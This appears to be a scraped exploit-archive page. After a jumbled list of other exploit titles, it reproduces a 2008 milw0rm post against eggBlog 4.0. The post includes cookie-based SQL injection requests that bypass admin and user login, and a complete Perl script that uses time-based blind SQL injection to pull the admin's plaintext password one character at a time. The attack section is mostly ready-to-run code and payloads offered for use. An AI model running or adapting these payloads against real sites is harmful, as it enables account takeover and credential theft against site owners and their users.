
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
169 lines
4.1 KiB
Perl
Executable file
169 lines
4.1 KiB
Perl
Executable file
# Author: __GiReX__
|
|
# mySite: girex.altervista.org
|
|
# Date: 27/03/2008 - 1/04/2008 Added exploit for str0ke
|
|
|
|
# CMS: eggBlog 4.0
|
|
# Site: eggblog.net
|
|
|
|
# Bug: SQL Injection (cookie vars)
|
|
# Type: 1 - Admin/User Authentication Bypass
|
|
|
|
# Bug2: Blind SQL Injection (same vars-query)
|
|
# Type: Password retrieve exploit
|
|
|
|
# Var : $_COOKIE['email], $_COOKIE['password']
|
|
# Need: magic_quotes_gpc = Off
|
|
|
|
# File: index.php
|
|
require_once "_lib/global.php";
|
|
...
|
|
eb_pre();
|
|
|
|
# File: /_lib/globals.php
|
|
require_once '_lib/user.php';
|
|
...
|
|
function eb_pre() {
|
|
...
|
|
if(isset($_COOKIE['email']) && isset($_COOKIE['password']) && !isset($_SESSION['user_id'])) eb_login($_COOKIE['email'],$_COOKIE['password'],1);
|
|
|
|
# Let we see function eb_login
|
|
|
|
# File: /_lib/user.php
|
|
function eb_login($email,$password,$key) {
|
|
...
|
|
if($key==0) $password=md5($password);
|
|
|
|
# Our $key is set to 1 so the password will not cprypted
|
|
|
|
$sql="SELECT user_id FROM eb_users WHERE user_email=\"".$email."\" AND md5(user_password)=\"".$password."\"";
|
|
$query=mysql_query($sql);
|
|
|
|
# I have no words, 2 vars not sanizated into a SELECT query
|
|
|
|
PoC 1:
|
|
GET [PATH]/index.php HTTP/1.1
|
|
Host: [HOST]
|
|
...
|
|
Cookie: email=@" OR "1; password=@" OR "1
|
|
|
|
# With this you will be authenticated with the fist record of table eb_user
|
|
|
|
PoC 2:
|
|
GET [PATH]/index.php HTTP/1.1
|
|
Host: [HOST]
|
|
...
|
|
Cookie: email=@" OR "1; password=@" OR "1" AND user_id="[VICTIM_USER_ID]
|
|
|
|
# For anybody you want
|
|
|
|
##############################################################################################################
|
|
# Start Blind SQL Injection / Password retrieve exploit #
|
|
# NOTE: Password is in plain-text so take a coffe... #
|
|
##############################################################################################################
|
|
#!/usr/bin/perl -w
|
|
|
|
# EggBlog v4.0 Blind SQL Injection
|
|
# Password Retrieve Exploit
|
|
# Coded by __GiReX__
|
|
|
|
use LWP::UserAgent;
|
|
use HTTP::Request;
|
|
|
|
if(not defined $ARGV[0])
|
|
{
|
|
print "usage: perl $0 [host] [path]\n";
|
|
print "example: perl $0 localhost /eggblog/\n";
|
|
exit;
|
|
}
|
|
|
|
my $client = new LWP::UserAgent;
|
|
my @cset = (32..126, 0);
|
|
my ($i, $j, $hash) = (0, 1, undef);
|
|
|
|
my $host = ($ARGV[0] =~ /^http:\/\//) ? $ARGV[0]: 'http://' . $ARGV[0];
|
|
$host .= $ARGV[1] unless not defined $ARGV[1];
|
|
|
|
banner();
|
|
check_vuln($host) or die "[-] Site not vulnerable\n";
|
|
|
|
|
|
while($i != $#cset)
|
|
{
|
|
for($i = 0; $i <= $#cset; $i++)
|
|
{
|
|
my ($pre_time, $post_time) = time();
|
|
|
|
$rv = check_char($host, $cset[$i], $j);
|
|
$post_time = time();
|
|
|
|
info(chr($cset[$i]), $post_time - $pre_time, $hash);
|
|
|
|
if($post_time - $pre_time > 3 and $rv)
|
|
{
|
|
$hash .= chr($cset[$i]);
|
|
last;
|
|
}
|
|
}
|
|
|
|
$j++;
|
|
}
|
|
|
|
print "\n". (defined $hash) ?
|
|
"[+] Admin password: ${hash} \n":
|
|
"[-] Exploit mistake: please check benchmark and charset\n";
|
|
|
|
print "[+] Exploit terminated\n\n";
|
|
|
|
|
|
|
|
sub banner
|
|
{
|
|
print "\n";
|
|
print "[+] EggBlog v4.0 Blind SQL Injection\n";
|
|
print "[+] Password Retrieve Exploit\n";
|
|
print "[+] Coded by __GiReX__\n";
|
|
print "\n";
|
|
}
|
|
|
|
sub check_vuln
|
|
{
|
|
my ($target, $res) = @_;
|
|
|
|
$get = new HTTP::Request(GET, $target);
|
|
$get->header('Cookie' => 'email=-1" WHERE X#; password=aaaaaaa;');
|
|
$res = $client->request($get);
|
|
|
|
if($res->is_success)
|
|
{
|
|
return 1 if $res->content =~ /<b>Warning<\/b>:/;
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
sub check_char
|
|
{
|
|
my ($target, $char, $n, $res) = @_;
|
|
|
|
$get->header(Cookie =>
|
|
'email=-1"+AND+'.
|
|
'CASE+WHEN'.
|
|
'((SELECT(ASCII(SUBSTRING(user_password,'.$n.',1)))FROM+eb_users+WHERE+user_id=1)='.$char.')'.
|
|
'THEN+benchmark(90000000,CHAR(0))+'.
|
|
'END#; '.
|
|
'password=dummy_psw');
|
|
|
|
$res = $client->request($get);
|
|
|
|
return $res->is_success;
|
|
}
|
|
|
|
sub info
|
|
{
|
|
my ($char, $delay, $hash) = @_;
|
|
print STDOUT "[+] Admin password: ${hash}".$char."\r" unless not defined $hash;
|
|
# print STDOUT "[+] Char: ${char} - Delay: ${delay}\r";
|
|
$| = 1;
|
|
}
|
|
|
|
# milw0rm.com [2008-04-01]
|